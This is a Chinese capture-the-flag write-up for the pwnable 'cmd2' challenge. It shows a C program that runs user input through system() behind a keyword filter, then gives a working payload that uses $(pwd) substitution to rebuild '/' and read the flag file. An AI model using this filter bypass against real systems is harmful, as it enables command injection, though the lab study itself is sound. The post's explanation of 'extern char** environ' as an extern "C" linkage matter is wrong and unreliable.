cmd2 - pwnable

cmd2 - pwnable

题目

这题是cmd1的升级版,直接运行无法运行程序的。就直接看源码吧~

pw:mommy now I get what PATH environment is for :)

分析

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "=")!=0;
	r += strstr(cmd, "PATH")!=0;
	r += strstr(cmd, "export")!=0;
	r += strstr(cmd, "/")!=0;
	r += strstr(cmd, "`")!=0;
	r += strstr(cmd, "flag")!=0;
	return r;
}

extern char** environ;
void delete_env(){
	char** p;
	for(p=environ; *p; p++)	memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
	delete_env();
	putenv("PATH=/no_command_execution_until_you_become_a_hacker");
	if(filter(argv[1])) return 0;
	printf("%s\n", argv[1]);
	system( argv[1] );
	return 0;
}

可以看到过滤器中的过滤比上一题增加了。我们在cmd1中的payload为/bin/cat fla*,在本题是不适用的。因为/会触发过滤,关闭程序。

我们就需要利用bash中的命令替换构造新的payload。$()''都是用作是命令替换的。命令替换与变量替换差不多,都是用来重组命令行的,先完成括号或单引号内的命令行,然后将其结果替换出来,再重组成新的命令行。

//exp
[root@localhost ~]# echo Linux `echo Shell $(echo today is $(date "+%Y-%m-%d"))`
Linux Shell today is 2017-11-07    ``和$()混合使用

payload 预期应该是:/bin/cat flag。其中的flag,我们依然可以延续上题中的替换fla*。那么现在任务就是转换为怎么替换/

我们需要用到linux的一样命令pwd返回当前工作目录的绝对路径。如果我们在/目录下,那么返回值就是/

我们现在有了基本思路,将工作目录切换到/。利用pwd替换/。由于切换了工作目录,payload更新为:/bin/cat /home/cmd2/flag

最终替换后的payload应该为:$(pwd)home$(pwd)cmd2$(pwd)flag

cmd2@prowl:/$ /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*'
$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*
FuN_w1th_5h3ll_v4riabl3s_haha
cmd2@prowl:/$ 

注意:payload用单引号括起来。不能是双引号(cmd1中使用的是双引号)。因为这里的payload引用的是:内层命令被执行后的结果(即$(pwd)被替换为/),而双引号内层命令没用被执行过就传递给外层执行。

`` 和 $():引用命令被执行后的结果

补充知识

  1. extern char** environ;
    

    extern的作用是让 C++ 编译器将 extern "C" 声明的代码当作 C 语言代码处理,可以避免 C++ 因符号修饰导致代码不能和C语言库中的符号进行链接的问题。

  2. memset(*p, 0, strlen(*p))
    

    设置特定内存地址中值

  3. 转 :shell ( ( ) ) 、 (( ))、 (())( )、``与${ }的区别

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值